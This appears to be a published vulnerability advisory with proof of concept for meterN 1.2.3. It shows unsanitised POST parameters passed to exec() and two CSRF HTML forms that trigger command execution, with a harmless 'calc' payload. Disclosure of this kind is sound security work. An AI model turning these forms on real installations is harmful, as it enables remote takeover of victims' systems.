meterN v1.2.3 Exploit, Remote Code Execution (RCE) (Authenticated)

# Exploit Title: meterN v1.2.3 - Remote Code Execution (RCE) (Authenticated)
# Date: 18/11/2021
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.metern.org

<!--

meterN v1.2.3 Authenticated Remote Command Execution Vulnerability


Vendor: Jean-Marc Louviaux
Product web page: https://www.metern.org
Affected version: 1.2.3 and 0.8.3.2


Summary: meterN is a set of PHP/JS files that make a -Home energy metering & monitoring- solution.
It accept any meters like : electrical, water, gas, fuel consumption, solar, Wind energy production
and so on. Sensors such as temperature or humidity are also accepted. The philosophy is: To keep it
simple, fast, with a low foot print to run on cheap and low powered devices.

Desc: The application suffers from an authenticated OS command execution vulnerability. This can be
exploited to execute arbitrary commands through the 'COMMANDx' and 'LIVECOMMANDx' POST parameters in
admin_meter2.php and admin_indicator2.php scripts. The application interface allows users to perform
these actions through HTTP requests without performing any validity checks to verify the requests.
This CSRF can be exploited to perform actions with administrative privileges if a logged-in user
visits a malicious web site.

---------------------------------------------------------------------------------------------------
/admin/admin_meter2.php:
------------------------

69: if (!empty($_POST['COMMANDx']) && is_string($_POST['COMMANDx'])) {
70:     $COMMANDx = htmlspecialchars($_POST['COMMANDx'], ENT_QUOTES, 'UTF-8');
71: } else {
72:     $COMMANDx = '';
73: }
...
...
108: if (!empty($_POST['LIVECOMMANDx']) && is_string($_POST['LIVECOMMANDx'])) {
109:     $LIVECOMMANDx = htmlspecialchars($_POST['LIVECOMMANDx'], ENT_QUOTES, 'UTF-8');
110: } else {
111:     $LIVECOMMANDx = '';
112: }
...
...
271: exec("$COMMANDx 2>&1", $datareturn);
...
...
303: exec("$LIVECOMMANDx 2>&1", $datareturn);

---------------------------------------------------------------------------------------------------

Tested on: Apache/2.4.10 (Raspbian)
           Apache/2.4.46 (Win64)
           Linux 4.9.67-v7+ GNU/Linux (armv7l)
           Microsoft Windows 10 Home (10.0.19042 Build 19042)
           PHP/7.2.33


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5690
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5690.php


18.11.2021

-->


PoC #1:
-------

<html>
  <body>
    <form action="http://localhost/metern/admin/admin_indicator2.php" method="POST">
      <input type="hidden" name="NUMINDx" value="1" />
      <input type="hidden" name="INDNAMEx1" value="test" />
      <input type="hidden" name="IDx1" value="1" />
      <input type="hidden" name="COMMANDx1" value="calc" />
      <input type="hidden" name="bntsubmit1" value="Test command" />
      <input type="hidden" name="UNITx1" value="" />
      <input type="submit" value="Incongruity" />
    </form>
  </body>
</html>


PoC #2:
-------

<html>
  <body>
    <form action="http://localhost/metern/admin/admin_meter2.php" method="POST">
      <input type="hidden" name="METNAMEx" value="Conso" />
      <input type="hidden" name="COLORx" value="962629" />
      <input type="hidden" name="TYPEx" value="Elect" />
      <input type="hidden" name="PRODx" value="2" />
      <input type="hidden" name="PHASEx" value="1" />
      <input type="hidden" name="SKIPMONITORINGx" value="" />
      <input type="hidden" name="IDx" value="elect" />
      <input type="hidden" name="COMMANDx" value="houseenergy -energy" />
      <input type="hidden" name="PASSOx" value="100000" />
      <input type="hidden" name="PRICEx" value="0.23" />
      <input type="hidden" name="LIDx" value="elect" />
      <input type="hidden" name="LIVECOMMANDx" value="calc" />
      <input type="hidden" name="bntsubmit" value="Test live command" />
      <input type="hidden" name="EMAILx" value="" />
      <input type="hidden" name="WARNCONSODx" value="15000" />
      <input type="hidden" name="NORESPMx" value="true" />
      <input type="hidden" name="POAKEYx" value="" />
      <input type="hidden" name="POUKEYx" value="" />
      <input type="hidden" name="TLGRTOKx" value="" />
      <input type="hidden" name="TLGRCIDx" value="" />
      <input type="hidden" name="met_numx" value="1" />
      <input type="submit" value="Incongruity" />
    </form>
  </body>
</html>

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